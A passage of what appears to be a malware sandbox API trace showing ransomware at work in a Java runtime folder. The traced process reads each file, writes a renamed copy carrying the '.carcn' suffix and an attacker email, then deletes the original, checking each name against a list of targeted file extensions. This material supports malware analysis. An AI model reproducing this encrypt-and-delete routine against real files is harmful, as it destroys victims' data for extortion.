lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.087] lstrlenW (lpString=".rar") returned 4 [0306.087] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.087] lstrlenW (lpString=".bz2") returned 4 [0306.087] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.087] lstrlenW (lpString=".7z") returned 3 [0306.087] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.087] lstrlenW (lpString=".dbf") returned 4 [0306.087] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.087] lstrlenW (lpString=".1cd") returned 4 [0306.087] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.088] lstrlenW (lpString=".jpg") returned 4 [0306.088] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.088] lstrlenW (lpString=".doc") returned 4 [0306.088] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.088] lstrlenW (lpString=".docx") returned 5 [0306.088] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0306.088] lstrlenW (lpString=".pdf") returned 4 [0306.088] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.088] lstrlenW (lpString=".xls") returned 4 [0306.088] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.088] lstrlenW (lpString=".xlsx") returned 5 [0306.088] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0306.088] lstrlenW (lpString=".ppt") returned 4 [0306.088] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.088] lstrlenW (lpString=".zip") returned 4 [0306.088] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.088] lstrlenW (lpString=".rar") returned 4 [0306.088] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.088] lstrlenW (lpString=".bz2") returned 4 [0306.088] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.088] lstrlenW (lpString=".7z") returned 3 [0306.088] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.088] lstrlenW (lpString=".dbf") returned 4 [0306.089] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.089] lstrlenW (lpString=".1cd") returned 4 [0306.089] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0306.089] lstrlenW (lpString=".jpg") returned 4 [0306.089] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.089] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0306.089] lstrlenW (lpString="zip.dll") returned 7 [0306.089] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.090] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=77888) returned 1 [0306.090] CloseHandle (hObject=0x398) returned 1 [0306.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20 [0306.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.090] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.090] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.090] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.090] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0306.091] GetLastError () returned 0x0 [0306.091] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x13040, lpOverlapped=0x0) returned 1 [0306.371] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x13050, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x13050, lpOverlapped=0x0) returned 1 [0306.373] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.373] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0306.374] SetEndOfFile (hFile=0x394) returned 1 [0306.374] CloseHandle (hObject=0x394) returned 1 [0306.374] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.374] SetEndOfFile (hFile=0x398) returned 1 [0306.375] CloseHandle (hObject=0x398) returned 1 [0306.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.376] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 1 [0306.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.376] lstrlenW (lpString=".doc") returned 4 [0306.376] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.376] lstrlenW (lpString=".docx") returned 5 [0306.376] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0306.376] lstrlenW (lpString=".pdf") returned 4 [0306.376] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.376] lstrlenW (lpString=".xls") returned 4 [0306.376] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.376] lstrlenW (lpString=".xlsx") returned 5 [0306.376] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0306.376] lstrlenW (lpString=".ppt") returned 4 [0306.376] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.376] lstrlenW (lpString=".zip") returned 4 [0306.376] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.377] lstrlenW (lpString=".rar") returned 4 [0306.377] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.377] lstrlenW (lpString=".bz2") returned 4 [0306.377] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.377] lstrlenW (lpString=".7z") returned 3 [0306.377] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.377] lstrlenW (lpString=".dbf") returned 4 [0306.377] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.377] lstrlenW (lpString=".1cd") returned 4 [0306.377] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.377] lstrlenW (lpString=".jpg") returned 4 [0306.377] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.377] lstrlenW (lpString=".doc") returned 4 [0306.377] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.377] lstrlenW (lpString=".docx") returned 5 [0306.377] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0306.377] lstrlenW (lpString=".pdf") returned 4 [0306.377] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.377] lstrlenW (lpString=".xls") returned 4 [0306.377] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.377] lstrlenW (lpString=".xlsx") returned 5 [0306.377] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0306.378] lstrlenW (lpString=".ppt") returned 4 [0306.378] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.378] lstrlenW (lpString=".zip") returned 4 [0306.378] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.378] lstrlenW (lpString=".rar") returned 4 [0306.378] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.378] lstrlenW (lpString=".bz2") returned 4 [0306.378] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.378] lstrlenW (lpString=".7z") returned 3 [0306.378] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.378] lstrlenW (lpString=".dbf") returned 4 [0306.378] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.378] lstrlenW (lpString=".1cd") returned 4 [0306.378] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46 [0306.378] lstrlenW (lpString=".jpg") returned 4 [0306.378] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.378] lstrcmpiW (lpString1=".pf", lpString2=".carcn") returned 1 [0306.378] lstrlenW (lpString="GRAY.pf") returned 7 [0306.378] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.398] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=632) returned 1 [0306.398] CloseHandle (hObject=0x398) returned 1 [0306.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0306.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.399] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.399] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.399] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.399] GetLastError () returned 0x0 [0306.399] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x278, lpOverlapped=0x0) returned 1 [0306.401] WriteFile (in: hFile=0x348, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x280, lpOverlapped=0x0) returned 1 [0306.402] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.402] WriteFile (in: hFile=0x348, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0306.402] SetEndOfFile (hFile=0x348) returned 1 [0306.402] CloseHandle (hObject=0x348) returned 1 [0306.405] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.406] SetEndOfFile (hFile=0x398) returned 1 [0306.406] CloseHandle (hObject=0x398) returned 1 [0306.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.407] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1 [0306.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.407] lstrlenW (lpString=".doc") returned 4 [0306.407] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0306.407] lstrlenW (lpString=".docx") returned 5 [0306.407] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0306.407] lstrlenW (lpString=".pdf") returned 4 [0306.407] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0306.407] lstrlenW (lpString=".xls") returned 4 [0306.408] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0306.408] lstrlenW (lpString=".xlsx") returned 5 [0306.408] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0306.408] lstrlenW (lpString=".ppt") returned 4 [0306.408] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0306.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.408] lstrlenW (lpString=".zip") returned 4 [0306.408] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0306.408] lstrlenW (lpString=".rar") returned 4 [0306.408] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0306.408] lstrlenW (lpString=".bz2") returned 4 [0306.408] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0306.408] lstrlenW (lpString=".7z") returned 3 [0306.408] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0306.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.408] lstrlenW (lpString=".dbf") returned 4 [0306.408] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0306.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.408] lstrlenW (lpString=".1cd") returned 4 [0306.408] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0306.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.408] lstrlenW (lpString=".jpg") returned 4 [0306.408] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0306.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.408] lstrlenW (lpString=".doc") returned 4 [0306.408] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0306.408] lstrlenW (lpString=".docx") returned 5 [0306.409] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0306.409] lstrlenW (lpString=".pdf") returned 4 [0306.409] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0306.409] lstrlenW (lpString=".xls") returned 4 [0306.409] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0306.409] lstrlenW (lpString=".xlsx") returned 5 [0306.409] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0306.409] lstrlenW (lpString=".ppt") returned 4 [0306.409] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0306.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.409] lstrlenW (lpString=".zip") returned 4 [0306.409] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0306.409] lstrlenW (lpString=".rar") returned 4 [0306.409] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0306.409] lstrlenW (lpString=".bz2") returned 4 [0306.409] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0306.409] lstrlenW (lpString=".7z") returned 3 [0306.409] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0306.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.409] lstrlenW (lpString=".dbf") returned 4 [0306.409] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0306.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.409] lstrlenW (lpString=".1cd") returned 4 [0306.409] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0306.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0306.409] lstrlenW (lpString=".jpg") returned 4 [0306.409] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0306.410] lstrcmpiW (lpString1=".pf", lpString2=".carcn") returned 1 [0306.410] lstrlenW (lpString="sRGB.pf") returned 7 [0306.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.410] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3144) returned 1 [0306.410] CloseHandle (hObject=0x398) returned 1 [0306.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0306.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.411] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.411] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.411] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.417] GetLastError () returned 0x0 [0306.417] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xc48, lpOverlapped=0x0) returned 1 [0306.418] WriteFile (in: hFile=0x348, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xc50, lpOverlapped=0x0) returned 1 [0306.419] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.419] WriteFile (in: hFile=0x348, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0306.419] SetEndOfFile (hFile=0x348) returned 1 [0306.419] CloseHandle (hObject=0x348) returned 1 [0306.419] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.419] SetEndOfFile (hFile=0x398) returned 1 [0306.420] CloseHandle (hObject=0x398) returned 1 [0306.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.421] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1 [0306.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.422] lstrlenW (lpString=".doc") returned 4 [0306.422] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0306.422] lstrlenW (lpString=".docx") returned 5 [0306.422] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0306.422] lstrlenW (lpString=".pdf") returned 4 [0306.422] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0306.422] lstrlenW (lpString=".xls") returned 4 [0306.422] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0306.422] lstrlenW (lpString=".xlsx") returned 5 [0306.422] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0306.422] lstrlenW (lpString=".ppt") returned 4 [0306.422] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0306.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.422] lstrlenW (lpString=".zip") returned 4 [0306.422] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0306.422] lstrlenW (lpString=".rar") returned 4 [0306.422] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0306.422] lstrlenW (lpString=".bz2") returned 4 [0306.422] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0306.422] lstrlenW (lpString=".7z") returned 3 [0306.422] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0306.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.422] lstrlenW (lpString=".dbf") returned 4 [0306.422] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0306.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.422] lstrlenW (lpString=".1cd") returned 4 [0306.422] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0306.422] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.423] lstrlenW (lpString=".jpg") returned 4 [0306.423] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0306.423] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.423] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.423] lstrlenW 